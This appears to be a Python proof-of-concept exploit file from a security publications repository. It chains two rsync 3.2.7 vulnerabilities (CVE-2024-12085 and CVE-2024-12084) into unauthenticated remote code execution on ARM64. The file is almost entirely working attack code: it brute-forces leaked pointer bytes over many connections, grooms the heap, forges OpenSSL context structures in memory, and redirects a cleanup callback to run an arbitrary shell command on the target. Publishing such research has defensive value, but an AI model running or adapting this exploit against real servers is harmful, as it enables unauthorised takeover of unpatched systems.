mirror of
https://github.com/califio/publications.git
synced 2026-09-25 21:03:35 +00:00
407 lines
18 KiB
Python
407 lines
18 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync.
|
|
|
|
Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle.
|
|
Phase 2 — Heap overflow: Single-connection write-what-where that plants a
|
|
fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp.
|
|
|
|
Trigger path (OpenSSL 3.0.x libcrypto, identical layout on arm64):
|
|
sum_init() → EVP_DigestInit_ex(ctx_evp, ...)
|
|
→ algctx-cleanup path (when ctx->algctx != NULL):
|
|
x0 = ctx[0x38] (algctx → command string)
|
|
x1 = ctx[0x08] (digest → fake EVP_MD)
|
|
x1 = digest[0xb0] (freectx → shell_exec)
|
|
blr x1 → shell_exec(cmd)
|
|
|
|
ARM64 PORT NOTES (Debian 12 / glibc 2.36 / OpenSSL 3.0.18):
|
|
- Info leak: useful .text pointer is at sum2+24 (NOT sum2+8).
|
|
sum2[8:24] are uninitialized junk that must be brute-forced first.
|
|
Leaked pointer = start_server+0x484 (return after `bl send_files`).
|
|
- Heap groom: malloc(2) gives a 32-byte chunk on this glibc/arch
|
|
(same as Ubuntu 22.04 x86-64), so the ONE-filter approach is correct.
|
|
- .bss layout differs from x86-64:
|
|
xfer_sum_nni at ctx_evp+0x90 (was +0x30) — overlaps fake_evp_md+0x40
|
|
last_match at ctx_evp+0x110 — match_sums init ZEROES THIS.
|
|
→ command string CANNOT live past +0x108!
|
|
New layout: cmd at +0x58 (inside ctx_md, untouched on EVP path),
|
|
fake_evp_md at +0xa0 (after xfer_sum_nni preserve).
|
|
- OpenSSL EVP_MD_CTX/EVP_MD field offsets are identical to x86-64.
|
|
|
|
Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x.
|
|
Offsets are binary-specific — adjust the constants below.
|
|
|
|
Usage:
|
|
python3 poc_rce.py rsync://<host>:<port>/<module> '<command>'
|
|
"""
|
|
|
|
import struct, sys, time
|
|
import xxhash
|
|
import rsync_lib as R
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
|
|
# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) — ARM64 BUILD ─
|
|
LEAK_OFFSET = 0x2aec4 # start_server+0x484 (LR after `bl send_files`)
|
|
SHELL_EXEC_OFFSET = 0x2a120 # shell_exec()
|
|
CTX_EVP_OFFSET = 0xb4fb0 # EVP_MD_CTX *ctx_evp (.bss)
|
|
XFER_SUM_NNI_OFFSET = 0xa0880 # SHA1 entry in valid_checksums_items (.data)
|
|
LEAK_BYTES = 24 # leak sum2[8..31]; pointer is at sum2+24
|
|
|
|
# ── OpenSSL 3.0.x struct offsets (from disassembly, same on arm64) ─
|
|
# EVP_MD_CTX (72 = 0x48 bytes):
|
|
# +0x08 = digest (const EVP_MD*) ← we set: → fake EVP_MD
|
|
# +0x10 = engine (ENGINE*) — must be NULL
|
|
# +0x18 = flags (uint32) — 0x400 set (skips pctx cleanup)
|
|
# +0x28 = pctx — must be NULL (else pctx-validation path)
|
|
# +0x38 = algctx (void*) — 1st arg to freectx ← we set: → cmd string
|
|
# +0x40 = fetched_digest — should be NULL
|
|
#
|
|
# EVP_MD:
|
|
# +0xb0 = freectx function pointer ← we set: → shell_exec
|
|
# +0x40 = cleanup callback — called LATER if flags&0x02 unset; we crash
|
|
# here AFTER shell_exec returns (don't care, cmd already ran).
|
|
#
|
|
# ARM64 .bss neighbors (offsets from ctx_evp) that get WRITTEN before trigger:
|
|
# +0x08 cur_sum_nni ← sum_init writes nni (overlaps fake_ctx[0x00], harmless)
|
|
# +0xe0 cur_sum_len ← sum_init writes 20 (inside fake_evp_md, harmless)
|
|
# +0xe8 cur_sum_evp_md ← sum_init writes ptr (inside fake_evp_md, harmless)
|
|
# +0x110 last_match ← match_sums INIT zeros 8B *** breaks cmd if at +0x108! ***
|
|
# +0x118-0x12B ← match_sums zeroes data_transfer/false_alarms/hash_hits/matches
|
|
|
|
# ── Heap overflow constants ─────────────────────────────────
|
|
CHECKSUM_SEED = 1337
|
|
SUM_BUF_SIZE = 40
|
|
SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2)
|
|
TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7
|
|
|
|
|
|
def send_args(rc, compress=False):
|
|
rc.write_line('--server'); rc.write_line('--sender')
|
|
rc.write_line('--compress-choice=zlib' if compress else '--no-compress')
|
|
rc.write_line('--no-iconv')
|
|
rc.write_line(f'--checksum-seed={CHECKSUM_SEED}')
|
|
rc.write_line('--checksum')
|
|
for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group',
|
|
'--no-devices','--no-specials','--no-links','--no-hard-links',
|
|
'--no-acls','--no-inc-recursive']:
|
|
rc.write_line(o)
|
|
rc.write_line('-r'); rc.write_line('-e.v')
|
|
|
|
|
|
# ═══════════════════════════════════════════════════════════
|
|
# Phase 1 — Info Leak
|
|
# ═══════════════════════════════════════════════════════════
|
|
|
|
def leak_pointer(url):
|
|
rc = R.connect(url, '31', 'xxh64')
|
|
send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('')
|
|
rc.setup_protocol(); rc.write_raw_int(0)
|
|
files = rc.read_file_list()
|
|
tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17))
|
|
ti = files.index(tgt)
|
|
data = rc.download_file(ti, tgt); rc.close()
|
|
|
|
s1 = R.adler32_rsync(data)
|
|
h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data)
|
|
s2 = struct.pack('<Q', h.intdigest())
|
|
print(f"[*] Phase 1: info leak | file={tgt.name} size={tgt.size}")
|
|
|
|
# On arm64 the useful pointer is at sum2+24, so brute-force 24 bytes.
|
|
# sum2[8:16] is typically 00 00 00 00 ?? ?? 00 00 (high half of a ptr).
|
|
# sum2[16:24] is a stack pointer (stable across forks of one daemon).
|
|
# sum2[24:32] is start_server+0x484 (the leak target).
|
|
#
|
|
# CRITICAL: use count=1, NOT count=3277. With many entries, hash_search's
|
|
# build_hash_table allocates a variable-size array, perturbing the stack
|
|
# frame and making sum2[16:24] unstable across connections.
|
|
#
|
|
# SPEED: most bytes are predictable. arm64 user-space addresses are
|
|
# 0x0000_aaaa_xxxx_xxxx (binary) or 0x0000_ffff_xxxx_xxxx (stack), and
|
|
# the low bytes of LEAK_OFFSET are constant. Try likely values first.
|
|
leak_off_bytes = struct.pack('<Q', LEAK_OFFSET)
|
|
hints = {
|
|
# sum2[8:16] = high half of a binary pointer
|
|
8: [0x00], 9: [0x00], 10: [0x00], 11: [0x00],
|
|
12: [0xaa], 13: [0xaa], 14: [0x00], 15: [0x00],
|
|
# sum2[16:24] = stack pointer 0x0000_ffff_????_????
|
|
# low 4 bytes are ASLR; bytes 20-23 are always ff ff 00 00
|
|
20: [0xff], 21: [0xff], 22: [0x00], 23: [0x00],
|
|
# sum2[24:32] = base + LEAK_OFFSET. base is page-aligned (low 12 bits = 0),
|
|
# so the bottom byte of the leaked ptr equals the bottom byte of LEAK_OFFSET.
|
|
# Byte 25 = (LEAK_OFFSET>>8)&0xff XOR'd with whatever base contributes —
|
|
# but base bits 12+ are random, so only byte 24 is fully determined.
|
|
24: [leak_off_bytes[0]], # low byte of LEAK_OFFSET (page offset)
|
|
25: [leak_off_bytes[1]], # likely (only wrong if base bit 12-15 nonzero in this nibble)
|
|
28: [0xaa], 29: [0xaa], 30: [0x00], 31: [0x00],
|
|
}
|
|
# Default search order: 0x00 first (most common), then 0xff/0xaa, then linear.
|
|
default_order = [0x00, 0xff, 0xaa] + [b for b in range(256) if b not in (0x00, 0xff, 0xaa)]
|
|
|
|
def probe(prefix, guess_byte):
|
|
try:
|
|
rc = R.connect(url, '31', 'xxh64')
|
|
send_args(rc, compress=True)
|
|
rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('')
|
|
rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list()
|
|
rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG)
|
|
ov = prefix + bytes([guess_byte])
|
|
rc.write_raw_int(1); rc.write_raw_int(tgt.size)
|
|
rc.write_raw_int(len(ov)); rc.write_raw_int(0)
|
|
rc.write_bulk(struct.pack('<I', s1) + ov)
|
|
rc.read_ndx(); rc.read_short_int()
|
|
rc.read_int(); rc.read_int(); rc.read_int(); rc.read_int()
|
|
sig, _ = rc.receive_deflate_token(); rc.close()
|
|
return guess_byte if sig < 0 else None
|
|
except Exception:
|
|
return None
|
|
|
|
tries = 0
|
|
pool = ThreadPoolExecutor(max_workers=16)
|
|
for j in range(LEAK_BYTES):
|
|
pos = 8 + j
|
|
prefix = bytes(s2) # snapshot
|
|
|
|
# Try hint values serially first (usually 1 connection)
|
|
hint_vals = hints.get(pos, [])
|
|
found = None
|
|
for h in hint_vals:
|
|
tries += 1
|
|
if probe(prefix, h) is not None:
|
|
found = h; break
|
|
|
|
# If no hint hit, fan out the remaining 256-len(hints) values in parallel
|
|
if found is None:
|
|
remaining = [b for b in default_order if b not in hint_vals]
|
|
futures = {pool.submit(probe, prefix, b): b for b in remaining}
|
|
tries += len(remaining)
|
|
for fut in as_completed(futures):
|
|
r = fut.result()
|
|
if r is not None:
|
|
found = r
|
|
# Cancel still-pending futures (best-effort; running ones finish)
|
|
for f in futures: f.cancel()
|
|
break
|
|
|
|
if found is None:
|
|
pool.shutdown(wait=False)
|
|
raise RuntimeError(f"leak failed at byte {pos} — stack unstable?")
|
|
print(f" sum2[{pos}] = 0x{found:02x} ({tries} total connections)")
|
|
s2 += bytes([found])
|
|
pool.shutdown(wait=True)
|
|
|
|
# Pointer is in the LAST 8 bytes leaked (sum2[24:32] for LEAK_BYTES=24)
|
|
ptr = struct.unpack('<Q', s2[8+LEAK_BYTES-8:8+LEAK_BYTES])[0]
|
|
base = ptr - LEAK_OFFSET
|
|
print(f"[+] Leaked .text ptr : 0x{ptr:x}")
|
|
print(f"[+] Binary base : 0x{base:x}")
|
|
return base, s1, tgt, ti
|
|
|
|
|
|
# ═══════════════════════════════════════════════════════════
|
|
# Phase 2 — Heap Overflow → RCE (Phrack approach)
|
|
# ═══════════════════════════════════════════════════════════
|
|
|
|
def do_rce(url, base, command, file_sum1, tgt, tgt_ndx):
|
|
"""
|
|
Single-connection overflow following the Phrack "one-shot" approach:
|
|
corrupt s->sums to point at &ctx_evp, set s->s2length to the full
|
|
payload size, then write a CONTIGUOUS payload in a single read_buf
|
|
call directly to .bss:
|
|
|
|
[ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string]
|
|
|
|
Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset
|
|
→ ctx->digest->freectx(ctx->algctx) → shell_exec(cmd)
|
|
"""
|
|
shell_exec = base + SHELL_EXEC_OFFSET
|
|
ctx_evp = base + CTX_EVP_OFFSET
|
|
|
|
print(f"\n[*] Phase 2: heap overflow → RCE")
|
|
print(f" shell_exec = 0x{shell_exec:x}")
|
|
print(f" ctx_evp = 0x{ctx_evp:x}")
|
|
|
|
# ── Build the contiguous .bss payload (ARM64 layout) ─────────
|
|
# Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length).
|
|
#
|
|
# Layout (offsets from &ctx_evp):
|
|
# 0x000: ctx_evp value → points to fake_ctx (at +8)
|
|
# 0x008: fake EVP_MD_CTX (72 bytes = 0x48), ends at +0x50
|
|
# +0x08: digest → fake EVP_MD (at +0xa0)
|
|
# +0x18: flags = 0x400 (so pctx-cleanup path is skipped)
|
|
# +0x28: pctx = NULL (so pctx-validation path is skipped)
|
|
# +0x38: algctx → cmd string (at +0x58)
|
|
# 0x058: command string + null (inside ctx_md struct, max 56B)
|
|
# *** CANNOT use +0x108: match_sums zeroes last_match @ +0x110! ***
|
|
# 0x090: xfer_sum_nni (PRESERVE — sum_init reads this as nni arg)
|
|
# 0x0a0: fake EVP_MD
|
|
# +0xb0: freectx = shell_exec (absolute payload offset: 0x150)
|
|
#
|
|
# The fake_evp_md+0x40 slot (= payload +0xe0) overlaps cur_sum_len which
|
|
# sum_init writes (=20) BEFORE the trigger fires. That field is the
|
|
# legacy "cleanup" callback in EVP_MD; it gets called AFTER shell_exec
|
|
# returns (causing a crash) but by then the command has already run.
|
|
|
|
fake_ctx_off = 8
|
|
cmd_off = 0x58 # safe: inside ctx_md, untouched on EVP path
|
|
fake_evp_md_off = 0xa0 # after the +0x90 xfer_sum_nni preserve
|
|
freectx_off = fake_evp_md_off + 0xb0 # = 0x150
|
|
|
|
cmd_bytes = command.encode('latin-1') + b'\x00'
|
|
if len(cmd_bytes) > 0x90 - cmd_off:
|
|
raise ValueError(f"command too long: {len(cmd_bytes)} > {0x90-cmd_off} bytes")
|
|
|
|
payload_size = freectx_off + 8
|
|
|
|
fake_ctx_addr = ctx_evp + fake_ctx_off
|
|
fake_evp_md_addr = ctx_evp + fake_evp_md_off
|
|
cmd_addr = ctx_evp + cmd_off
|
|
|
|
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
|
|
|
|
payload = bytearray(payload_size)
|
|
|
|
# ctx_evp pointer → fake_ctx
|
|
struct.pack_into('<Q', payload, 0, fake_ctx_addr)
|
|
|
|
# fake EVP_MD_CTX fields (at +8)
|
|
struct.pack_into('<Q', payload, fake_ctx_off + 0x08, fake_evp_md_addr) # digest
|
|
struct.pack_into('<I', payload, fake_ctx_off + 0x18, 0x400) # flags
|
|
struct.pack_into('<Q', payload, fake_ctx_off + 0x38, cmd_addr) # algctx
|
|
|
|
# command string (inside ctx_md region, before xfer_sum_nni)
|
|
payload[cmd_off:cmd_off + len(cmd_bytes)] = cmd_bytes
|
|
|
|
# Preserve xfer_sum_nni at +0x90 (arm64 .bss layout)
|
|
struct.pack_into('<Q', payload, 0x90, xfer_sum_nni)
|
|
|
|
# fake EVP_MD: only freectx at +0xb0 matters
|
|
struct.pack_into('<Q', payload, freectx_off, shell_exec)
|
|
|
|
print(f" payload = {payload_size} bytes at &ctx_evp")
|
|
print(f" fake_ctx = 0x{fake_ctx_addr:x} (+{fake_ctx_off})")
|
|
print(f" fake_evpmd = 0x{fake_evp_md_addr:x} (+{fake_evp_md_off})")
|
|
print(f" cmd_addr = 0x{cmd_addr:x} (+{cmd_off})")
|
|
|
|
# ── Overflow: redirect sums + set s2length = payload_size ──
|
|
groom_count = 5
|
|
n_extra = 1 # just ONE extra entry
|
|
s2len_initial = 64
|
|
|
|
sums_base = ctx_evp - groom_count * SUM_BUF_SIZE - SUM_BUF_OFF
|
|
|
|
overflow_payload = bytearray(s2len_initial)
|
|
struct.pack_into('<Q', overflow_payload, 18, 0x31) # chunk metadata
|
|
off = 26
|
|
struct.pack_into('<Q', overflow_payload, off, 0) # flength
|
|
struct.pack_into('<Q', overflow_payload, off + 8, sums_base & 0xFFFFFFFFFFFFFFFF) # sums
|
|
struct.pack_into('<I', overflow_payload, off + 16, groom_count + n_extra) # count=6
|
|
struct.pack_into('<I', overflow_payload, off + 20, 1337) # blength
|
|
struct.pack_into('<I', overflow_payload, off + 24, 0) # remainder
|
|
struct.pack_into('<I', overflow_payload, off + 28, payload_size) # s2length!
|
|
|
|
# ── Connect and send ─────────────────────────────────
|
|
rc = R.connect(url, '31', 'sha1')
|
|
send_args(rc, compress=True)
|
|
|
|
# Tcache defragmentation: fill all bins so allocations come from wilderness
|
|
for sz in range(TCACHE_MIN, TCACHE_MAX + 1, TCACHE_STEP):
|
|
for _ in range(TCACHE_SLOTS * 2):
|
|
rc.write_line('-M-' + 'A' * (sz - 2))
|
|
|
|
rc.write_line('.'); rc.write_line('./'); rc.write_line('')
|
|
rc.setup_protocol()
|
|
|
|
# Heap grooming: single filter creates pattern(200B) + filter_rule(48B).
|
|
# Free with '!' pushes both to tcache. sum_struct(48B) lands right after
|
|
# sums(200B) giving us an 8-byte gap (chunk header only).
|
|
# NOTE: on arm64 glibc 2.36 (Debian 12), malloc(2) → 32B chunk (same as
|
|
# x86-64 glibc 2.35). The second "+ a" filter creates an extra chunk in
|
|
# the gap. ONE filter only gives the correct diff=8 layout.
|
|
filt = '+ ' + 'Z' * (groom_count * SUM_BUF_SIZE - 1)
|
|
rc.write_raw_int(len(filt) + 1); rc.write_line(filt)
|
|
rc.write_raw_int(2); rc.write_line('!')
|
|
rc.write_raw_int(0)
|
|
|
|
files = rc.read_file_list()
|
|
ndx = next(i for i, f in enumerate(files) if R.is_reg(f.mode) and f.size > 0)
|
|
print(f" target ndx={ndx} file={files[ndx].name}")
|
|
rc.write_ndx(ndx)
|
|
rc.write_short_int(R.ITEM_TRANSFER_FLAG)
|
|
|
|
# ── Send sum head (for the initial grooming entries) ──
|
|
rc.write_raw_int(groom_count) # count = 5
|
|
rc.write_raw_int(1337) # blength
|
|
rc.write_raw_int(s2len_initial) # s2length = 64
|
|
rc.write_raw_int(0) # remainder
|
|
|
|
# ── Send grooming entries (all use the same overflow payload) ──
|
|
bulk = bytearray()
|
|
for j in range(groom_count):
|
|
bulk += struct.pack('<I', 0) # sum1 (don't care)
|
|
bulk += bytes(overflow_payload) # 64 bytes of sum2
|
|
rc.write_bulk(bytes(bulk))
|
|
|
|
# ── Send the ONE extra entry: sum1 (4B) + sum2 (payload) ──
|
|
print(f" sending payload ({payload_size} bytes) to &ctx_evp...")
|
|
ext_bulk = struct.pack('<I', 0) + bytes(payload)
|
|
rc.write_bulk(bytes(ext_bulk))
|
|
|
|
print(f" overflow complete, consuming server output...")
|
|
|
|
# ── Consume server output to unblock the trigger ─────
|
|
# After receive_sums, the server enters match_sums → hash_search →
|
|
# sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset →
|
|
# internal_cleanup → freectx(algctx) → shell_exec(cmd)
|
|
#
|
|
# We must read the server's echo (ndx + sum_head) so it doesn't
|
|
# block on write().
|
|
rc.sock.settimeout(10.0)
|
|
try:
|
|
# Read NDX echo + iflags
|
|
rc.read_ndx()
|
|
rc.read_short_int()
|
|
print(f" read ndx echo OK")
|
|
# Read sum head echo (count, blength, s2length, remainder)
|
|
echo_count = rc.read_int()
|
|
echo_bl = rc.read_int()
|
|
echo_s2 = rc.read_int()
|
|
echo_rem = rc.read_int()
|
|
print(f" sum head echo: count={echo_count} bl={echo_bl} "
|
|
f"s2={echo_s2} rem={echo_rem}")
|
|
|
|
# The server now enters match_sums → sum_init → trigger.
|
|
# shell_exec forks+exec's the command, then returns.
|
|
# Wait for any output or connection close.
|
|
time.sleep(3)
|
|
try:
|
|
while True:
|
|
d = rc.sock.recv(4096)
|
|
if not d:
|
|
break
|
|
except:
|
|
pass
|
|
except Exception as e:
|
|
print(f" server connection ended: {e}")
|
|
|
|
try:
|
|
rc.close()
|
|
except:
|
|
pass
|
|
|
|
time.sleep(1)
|
|
print(f"[+] Payload delivered — check if command executed.")
|
|
|
|
|
|
def main():
|
|
if len(sys.argv) < 3:
|
|
print(f"Usage: {sys.argv[0]} rsync://<host>:<port>/<module> '<command>'")
|
|
sys.exit(1)
|
|
url, command = sys.argv[1], sys.argv[2]
|
|
|
|
base, file_sum1, tgt, tgt_ndx = leak_pointer(url)
|
|
do_rce(url, base, command, file_sum1, tgt, tgt_ndx)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|